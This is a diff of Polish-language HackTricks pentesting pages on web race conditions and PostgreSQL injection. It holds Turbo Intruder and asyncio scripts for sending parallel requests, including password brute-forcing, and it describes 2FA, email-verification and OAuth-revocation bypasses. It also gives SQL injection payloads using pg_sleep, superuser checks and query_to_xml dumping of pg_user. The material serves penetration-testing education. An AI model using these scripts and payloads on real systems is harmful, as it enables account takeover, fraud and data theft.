-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% hint style="warning" %}
-Aby uzyskać głębokie zrozumienie tej techniki, sprawdź oryginalne zgłoszenie na stronie [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+Aby uzyskać głębsze zrozumienie tej techniki, sprawdź oryginalny raport na stronie [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
-## Wzmacnianie ataków wyścigowych
+## Wzmacnianie ataków warunku wyścigu
-Główną przeszkodą w wykorzystaniu wyścigowych warunków jest upewnienie się, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasie ich przetwarzania - idealnie poniżej 1 ms**.
+Główną przeszkodą w wykorzystaniu warunków wyścigu jest upewnienie się, że kilka żądań jest obsługiwanych jednocześnie, z **bardzo niewielką różnicą w czasach ich przetwarzania—idealnie poniżej 1 ms**.
Oto kilka technik synchronizacji żądań:
-#### Atak pojedynczego pakietu HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1
+#### Atak pojedynczym pakietem HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1
-- **HTTP/2**: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ fluktuacji sieciowej. Jednak z powodu różnic po stronie serwera, dwie żądania mogą nie wystarczyć do spójnego wykorzystania wyścigowych warunków.
-- **HTTP/1.1 'Synchronizacja ostatniego bajtu'**: Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.
+* **HTTP/2**: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ zakłóceń sieci. Jednakże, ze względu na zmienności po stronie serwera, dwa żądania mogą nie wystarczyć do spójnego wykorzystania warunku wyścigu.
+* **HTTP/1.1 'Synchronizacja ostatniego bajtu'**: Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.
**Przygotowanie do synchronizacji ostatniego bajtu** obejmuje:
-1. Wysłanie nagłówków i danych ciała bez zakończenia strumienia.
-2. Pauza przez 100 ms po początkowym wysłaniu.
-3. Wyłączenie TCP_NODELAY w celu wykorzystania algorytmu Nagle'a do partycjonowania końcowych ramek.
+
+1. Wysłanie nagłówków i danych ciała bez ostatniego bajtu bez zakończenia strumienia.
+2. Poczekanie 100 ms po początkowym wysłaniu.
+3. Wyłączenie TCP\_NODELAY, aby wykorzystać algorytm Nagle'a do partycjonowania końcowych ramek.
4. Pingowanie w celu rozgrzania połączenia.
-Następne wysłanie zatrzymanych ramek powinno skutkować ich dotarciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.
+Następne wysłanie zatrzymanych ramek powinno skutkować ich przybyciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.
### Dostosowanie do architektury serwera
-Zrozumienie architektury docelowego serwera jest kluczowe. Serwery front-endowe mogą kierować żądania w różny sposób, co wpływa na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera poprzez nieistotne żądania może znormalizować czasowanie żądań.
+Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w inny sposób, wpływając na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasowanie żądania.
#### Obsługa blokady opartej na sesji
-Frameworki takie jak PHP obsługują żądania szeregowo według sesji, co potencjalnie utrudnia wykrycie podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.
+Frameworki takie jak obsługa sesji w PHP serializują żądania według sesji, co potencjalnie może zaciemnić podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.
-#### Przezwyciężanie limitów częstotliwości lub zasobów
-
-Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów częstotliwości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczego pakietu, wywołując opóźnienie po stronie serwera sprzyjające wyścigowym warunkom.
+#### Przezwyciężanie limitów szybkości lub zasobów
+Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów szybkości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające warunkom wyścigu.
## Przykłady ataków
-* **Tubo Intruder - atak pojedynczego pakietu HTTP2 (1 punkt końcowy)**: Możesz wysłać żądanie do **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić wartość, którą chcesz przeprowadzić atak brute force dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, a następnie wybrać **`examples/race-single-packer-attack.py`** z listy rozwijanej:
+* **Tubo Intruder - atak pojedynczym pakietem HTTP2 (1 punkt końcowy)**: Możesz wysłać żądanie do **Turbo Intruder** (`Rozszerzenia` -> `Turbo Intruder` -> `Wyślij do Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brutalnie siłować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, a następnie wybrać **`examples/race-single-packer-attack.py`** z listy rozwijanej:
-Jeśli zamierzasz **wysłać różne wartości**, możesz zmodyfikować kod na taki, który korzysta z listy haseł z schowka:
+Jeśli zamierzasz **wysłać różne wartości**, możesz zmodyfikować kod, który korzysta z listy słów z schowka:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
-Jeśli strona internetowa nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`.
+Jeśli witryna nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`.
{% endhint %}
-* **Tubo Intruder - atak jednopakietowy HTTP2 (wiele punktów końcowych)**: Jeśli musisz wysłać żądanie do jednego punktu końcowego, a następnie wiele żądań do innych punktów końcowych, aby wywołać RCE, możesz zmodyfikować skrypt `race-single-packet-attack.py` na coś takiego:
+* **Tubo Intruder - atak jednopakietowy HTTP2 (Wiele punktów końcowych)**: W przypadku konieczności wysłania żądania do jednego punktu końcowego, a następnie wielu do innych punktów końcowych w celu wywołania RCE, można zmodyfikować skrypt `race-single-packet-attack.py` w następujący sposób:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -105,20 +105,20 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
-* Jest również dostępny w **Repeaterze** za pomocą nowej opcji '**Wysyłaj grupę równolegle**' w Burp Suite.
-* Dla **limit-overrun** można po prostu dodać **tę samą prośbę 50 razy** do grupy.
-* Dla **rozgrzewania połączenia** można na **początku grupy** dodać kilka **prośb** do niezmiennego elementu serwera internetowego.
-* Aby **opóźnić** proces **między** przetwarzaniem **jednej prośby a drugą** w dwóch krokach podstanu, można **dodać dodatkowe prośby między** tymi dwoma prośbami.
-* Dla wielopunktowego RC można zacząć wysyłać **prośbę**, która **przechodzi do ukrytego stanu**, a następnie **50 prośb** zaraz po niej, które **wykorzystują ukryty stan**.
+* Jest również dostępny w **Repeater** za pośrednictwem nowej opcji '**Wysyłaj grupę równolegle**' w Burp Suite.
+* Dla **limit-overrun** można po prostu dodać **tę samą prośbę 50 razy** w grupie.
+* Dla **rozgrzewania połączenia**, można **dodać** na **początku** grupy kilka **żądań** do nieustalonej części serwera internetowego.
+* Aby **opóźnić** proces **między** przetwarzaniem **jednego żądania i drugiego** w 2 krokach podstanu, można **dodać dodatkowe żądania między** oba żądania.
+* Dla **wielopunktowego** RC można zacząć wysyłać **żądanie**, które **przechodzi do ukrytego stanu**, a następnie **50 żądań** zaraz po nim, które **wykorzystują ukryty stan**.
-
+
### Surowy BF
Przed poprzednimi badaniami używano tych ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować RC.
* **Repeater:** Sprawdź przykłady z poprzedniej sekcji.
-* **Intruder**: Wyślij **prośbę** do **Intrudera**, ustaw **liczbę wątków** na **30** w menu **Opcje**, wybierz jako ładunek **Puste ładunki** i wygeneruj **30**.
+* **Intruder**: Wyślij **żądanie** do **Intrudera**, ustaw **liczbę wątków** na **30** w menu **Opcje** i wybierz jako ładunek **Puste ładunki** oraz wygeneruj **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -139,30 +139,6 @@ def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
-
-Python - asyncio to biblioteka do asynchronicznego programowania w języku Python. Pozwala na tworzenie efektywnych i skalowalnych aplikacji, które wykorzystują asynchroniczne operacje wejścia/wyjścia. Biblioteka asyncio dostarcza mechanizmy do obsługi zdarzeń, takich jak wywołania zwrotne (callbacks) i korutyny (coroutines), które umożliwiają równoległe wykonywanie wielu zadań.
-
-Aby rozpocząć korzystanie z asyncio, należy zaimportować moduł `asyncio`. Następnie można zdefiniować funkcje korutynowe przy użyciu słowa kluczowego `async` przed definicją funkcji. Funkcje korutynowe mogą być wywoływane za pomocą funkcji `await`, co pozwala na oczekiwanie na zakończenie innej korutyny bez blokowania wykonywania innych zadań.
-
-Przykład użycia asyncio w Pythonie:
-
-```python
-import asyncio
-
-async def hello():
- print("Hello")
- await asyncio.sleep(1)
- print("World")
-
-async def main():
- await asyncio.gather(hello(), hello(), hello())
-
-asyncio.run(main())
-```
-
-W powyższym przykładzie definiujemy dwie funkcje korutynowe: `hello()` i `main()`. Funkcja `hello()` wypisuje "Hello", czeka przez 1 sekundę przy użyciu `asyncio.sleep(1)`, a następnie wypisuje "World". Funkcja `main()` używa funkcji `asyncio.gather()` do równoczesnego wywołania trzech instancji funkcji `hello()`. Wywołanie `asyncio.run(main())` uruchamia program i wykonuje wszystkie korutyny.
-
-Dzięki bibliotece asyncio w Pythonie można łatwo tworzyć asynchroniczne programy, które są wydajne i skalowalne.
```python
import asyncio
import httpx
@@ -192,74 +168,73 @@ asyncio.run(main())
```
## **Metodologia RC**
-### Limit przekroczenia / TOCTOU
+### Przekroczenie limitu / TOCTOU
-To najprostszy rodzaj wyścigówki, w którym występują podatności w miejscach, które ograniczają liczbę razy, jaką można wykonać daną czynność. Na przykład używanie tego samego kodu rabatowego kilka razy w sklepie internetowym. Bardzo łatwy przykład można znaleźć w [**tym raporcie**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**tym błędzie**](https://hackerone.com/reports/759247)**.**
+To najbardziej podstawowy rodzaj warunku wyścigowego, w którym **wykrywane są podatności** w miejscach, które **ograniczają liczbę razy, jakie można wykonać akcję**. Na przykład używanie tego samego kodu rabatowego kilka razy w sklepie internetowym. Bardzo łatwy przykład można znaleźć w [**tym raporcie**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**tym błędzie**](https://hackerone.com/reports/759247)**.**
Istnieje wiele wariantów tego rodzaju ataku, w tym:
-* Wielokrotne wykorzystanie karty podarunkowej
-* Wielokrotne ocenianie produktu
-* Wypłacanie lub transferowanie gotówki przekraczającej saldo konta
+* Wymienianie karty podarunkowej wielokrotnie
+* Ocenianie produktu wielokrotnie
+* Wypłacanie lub przekazywanie gotówki w większej ilości niż saldo konta
* Ponowne wykorzystanie jednego rozwiązania CAPTCHA
* Ominięcie limitu szybkości anty-brute-force
### **Ukryte podstany**
-Wykorzystywanie złożonych wyścigówek często wiąże się z korzystaniem z krótkotrwałych okazji do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść:
+Wykorzystywanie złożonych warunków wyścigowych często polega na korzystaniu z krótkich okazji do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść:
-1. **Identyfikacja potencjalnych ukrytych podstanów**
-- Zacznij od zlokalizowania punktów końcowych, które modyfikują lub oddziałują na krytyczne dane, takie jak profile użytkowników lub procesy resetowania hasła. Skup się na:
-- **Przechowywanie**: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, w przeciwieństwie do tych obsługujących dane po stronie klienta.
-- **Działanie**: Szukaj operacji, które zmieniają istniejące dane, ponieważ są bardziej podatne na tworzenie warunków podatnych na atak w porównaniu do tych, które dodają nowe dane.
-- **Kluczowanie**: Udane ataki zwykle obejmują operacje kluczowane tym samym identyfikatorem, np. nazwą użytkownika lub tokenem resetowania.
+1. **Zidentyfikuj Potencjalne Ukryte Podstany**
+* Zacznij od zlokalizowania punktów końcowych, które modyfikują lub współdziałają z krytycznymi danymi, takimi jak profile użytkowników czy procesy resetowania hasła. Skup się na:
+* **Przechowywanie**: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, nad tymi obsługującymi dane po stronie klienta.
+* **Działanie**: Szukaj operacji, które zmieniają istniejące dane, co bardziej prawdopodobnie stwarza warunki do wykorzystania w porównaniu z tymi dodającymi nowe dane.
+* **Kluczowanie**: Udane ataki zazwyczaj obejmują operacje oparte na tym samym identyfikatorze, np. nazwie użytkownika lub tokenie resetowania.
+2. **Przeprowadź Początkowe Sondowanie**
+* Przetestuj zidentyfikowane punkty końcowe za pomocą ataków warunków wyścigowych, obserwując wszelkie odstępstwa od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność.
+3. **Wykaż Podatność**
+* Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjne wymagane czasowanie.
-2. **Pierwsze sondowanie**
-- Przetestuj zidentyfikowane punkty końcowe za pomocą ataków wyścigówkowych, obserwując wszelkie odstępstwa od oczekiwanych wyników. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą wskazywać na podatność.
+### Ataki Zależne od Czasu
-3. **Wykazanie podatności**
-- Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjne wymagania czasowe.
+Precyzja w czasowaniu żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasu. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu może pozwolić na identyczne tokeny dla równoczesnych żądań.
-### Ataki zależne od czasu
+**Aby Wykorzystać:**
-Precyzja w czasie żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasowe. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasowych może umożliwić uzyskanie identycznych tokenów dla równoczesnych żądań.
-
-**Aby wykorzystać:**
-- Użyj precyzyjnego czasowania, takiego jak atak jednopakietowy, aby wysłać równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.
+* Użyj precyzyjnego czasowania, jak w ataku jednopakietowym, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.
**Przykład:**
-- Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują wadliwe generowanie tokenów.
-**Sprawdź ten [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities), aby to wypróbować.**
+* Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.
+**Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **aby to wypróbować.**
## Studia przypadków ukrytych podstanów
-### Płatność i dodanie przedmiotu
+### Zapłać i dodaj przedmiot
-Sprawdź ten [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie trzeba płacić**.
+Sprawdź to [**Laboratorium PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie trzeba płacić**.
-### Potwierdzanie innych adresów e-mail
+### Potwierdź inne adresy e-mail
-Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny**, aby sprawdzić, czy platforma weryfikuje nowy adres.
+Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny**, aby dowiedzieć się, czy platforma weryfikuje nowo zmieniony.
-### Zmiana adresu e-mail na 2 adresy oparte na plikach cookie
+### Zmień e-mail na 2 adresy e-mail oparte na plikach cookie
-Według [**tego badania**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł **wysłać** **token weryfikacyjny e-maila jednego adresu e-mailowego na inny adres e-mailowy**.
+Zgodnie z [**tą analizą**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł **wysłać token weryfikacyjny e-maila z jednego adresu e-mail na drugi**.
-**Sprawdź ten [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint), aby to wypróbować.**
+**Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **aby to wypróbować.**
### Ukryte stany bazy danych / Ominięcie potwierdzenia
-Jeśli do **dodania informacji** do **bazy danych** używane są **2 różne zapisy**, istnieje mały okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład, podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą zostać **zapisane**, a następnie zapisywany jest **token** do potwierdzenia nowo utworzonego konta. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest pusty**.
+Jeśli **używane są 2 różne zapisy** do **dodania informacji** do **bazy danych**, istnieje krótki okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą być **zapisane**, a następnie **token** do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest pusty**.
-Dlatego **rejestrując konto i wysyłając kilka żądań z pustym tokenem** (`token=` lub `token[]=` lub inna wariacja), aby natychmiast potwierdzić konto, można potwierdzić konto, którego e-mailem nie kontrolujesz.
+Dlatego **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego nie kontrolujesz.
-**Sprawdź ten [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction), aby to wypróbować.**
+**Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **aby to wypróbować.**
### Ominięcie 2FA
-Poniższy pseudokod jest podatny na wyścigówkę, ponieważ przez bardzo krótki czas **2FA nie jest wymagane**, podczas gdy tworzona jest sesja:
+Poniższy pseudokod jest podatny na warunek wyścigowy, ponieważ przez bardzo krótki czas **2FA nie jest wymagane**, podczas gdy sesja jest tworzona:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -269,22 +244,22 @@ session['enforce_mfa'] = True
```
### Wieczysta trwałość OAuth2
-Istnieje kilka [**dostawców OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Usługi te umożliwiają tworzenie aplikacji i uwierzytelnianie użytkowników zarejestrowanych w dostawcy. Aby to zrobić, **klient** musi **udzielić pozwolenia Twojej aplikacji** na dostęp do niektórych danych wewnątrz dostawcy OAuth.\
-Więc do tej pory to tylko zwykłe logowanie za pomocą Google/LinkedIn/GitHub... gdzie pojawia się strona informująca: "_Aplikacja \ chce uzyskać dostęp do Twoich informacji, czy chcesz jej to zezwolić?_"
+Istnieje kilka [**dostawców OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Te usługi pozwolą Ci utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, **klient** będzie musiał **zezwolić Twojej aplikacji** na dostęp do niektórych ich danych wewnątrz **dostawcy OAuth**.\
+Więc, do tej pory to tylko standardowe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona informująca: "_Aplikacja \ chce uzyskać dostęp do Twoich informacji, czy chcesz jej na to zezwolić?_"
-#### Wyścig warunkowy w `authorization_code`
+#### Wyścig warunków w `authorization_code`
-**Problem** pojawia się, gdy **zaakceptujesz** i automatycznie zostanie wysłany **`authorization_code`** do złośliwej aplikacji. Następnie ta aplikacja wykorzystuje wyścig warunkowy w dostawcy usługi OAuth, aby wygenerować więcej niż jedno AT/RT (_Authentication Token/Refresh Token_) na podstawie **`authorization_code`** dla Twojego konta. W zasadzie wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby **utworzyć kilka kont**. Jeśli przestaniesz zezwalać aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne.
+**Problem** pojawia się, gdy **zaakceptujesz** i automatycznie wysyłasz **`authorization_code`** do złośliwej aplikacji. Następnie ta **aplikacja wykorzystuje Wyścig Warunków w dostawcy usługi OAuth, aby wygenerować więcej niż jedną AT/RT** (_Authentication Token/Refresh Token_) z **`authorization_code`** dla Twojego konta. W skrócie, wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby **utworzyć kilka kont**. Wtedy, jeśli **zatrzymasz zezwolenie dla aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne**.
-#### Wyścig warunkowy w `Refresh Token`
+#### Wyścig warunków w `Refresh Token`
-Po uzyskaniu **ważnego RT** możesz spróbować go wykorzystać do wygenerowania kilku AT/RT, nawet jeśli użytkownik anuluje uprawnienia dla złośliwej aplikacji do dostępu do swoich danych, **kilka RT wciąż będzie ważnych**.
+Gdy już **uzyskasz ważny RT**, możesz spróbować **wykorzystać go do wygenerowania kilku AT/RT** i **nawet jeśli użytkownik anuluje uprawnienia** dla złośliwej aplikacji do dostępu do jego danych, **kilka RT nadal będzie ważnych**.
-## **RC w WebSockets**
+## **Wyścig warunków w WebSockets**
-W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) znajdziesz PoC w języku Java, który wysyła wiadomości websocket w **trybie równoległym**, aby wykorzystać **wyścigi warunkowe również w WebSockets**.
+W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) znajdziesz PoC w Javie do wysyłania wiadomości websocket **równolegle**, aby wykorzystać **Wyścigi Warunków także w WebSockets**.
-## Odwołania
+## Referencje
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@@ -298,18 +273,18 @@ W [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
-* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\
-Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
+Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md
index 812320266..2d542da5d 100644
--- a/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -14,9 +14,9 @@ Inne sposoby wsparcia HackTricks:
-
+
-Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
+Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **zatrudniamy!** (_wymagany biegły język polski w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -30,7 +30,7 @@ Moduł **PostgreSQL `dblink`** oferuje możliwości łączenia się z innymi ins
### **Przykład wycieku danych za pomocą dblink i dużych obiektów**
-Możesz [**przeczytać ten przykład**](dblink-lo\_import-data-exfiltration.md), aby zobaczyć przykład CTF **jak załadować dane do dużych obiektów, a następnie wyciec zawartości dużych obiektów w nazwie użytkownika** funkcji `dblink_connect`.
+Możesz [**przeczytać ten przykład**](dblink-lo\_import-data-exfiltration.md), aby zobaczyć przykład CTF **jak załadować dane do dużych obiektów, a następnie wyciec zawartość dużych obiektów wewnątrz nazwy użytkownika** funkcji `dblink_connect`.
## Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień
@@ -42,19 +42,19 @@ Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:
## Ominięcie WAF
-### Funkcje łańcuchów PostgreSQL
+### Funkcje łańcuchowe PostgreSQL
Manipulowanie łańcuchami może pomóc Ci **ominąć WAFy lub inne ograniczenia**.\
-[W tej stronie](https://www.postgresqltutorial.com/postgresql-string-functions/) **znajdziesz kilka przydatnych funkcji łańcuchów.**
+[W tej stronie](https://www.postgresqltutorial.com/postgresql-string-functions/) **znajdziesz kilka przydatnych funkcji łańcuchowych.**
### Zapytania zagnieżdżone
-Pamiętaj, że PostgreSQL obsługuje zagnieżdżone zapytania, ale kilka aplikacji wyświetli błąd, jeśli oczekuje się zwrócenia 1 odpowiedzi, a zwrócone zostaną 2. Mimo to nadal można nadużywać zapytań zagnieżdżonych za pomocą wstrzyknięcia czasu:
+Pamiętaj, że PostgreSQL obsługuje zapytania zagnieżdżone, ale kilka aplikacji wyświetli błąd, jeśli zostaną zwrócone 2 odpowiedzi, gdy oczekiwana jest tylko 1. Niemniej jednak, nadal możesz nadużywać zapytań zagnieżdżonych za pomocą wstrzyknięcia czasu:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
-### Triki XML
+### Triki związane z XML
**query\_to\_xml**
@@ -64,7 +64,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
-Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz ją spowodować DoS lub nawet swojego własnego klienta):
+Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz spowodować atak typu DoS lub nawet wobec swojego własnego klienta):
```sql
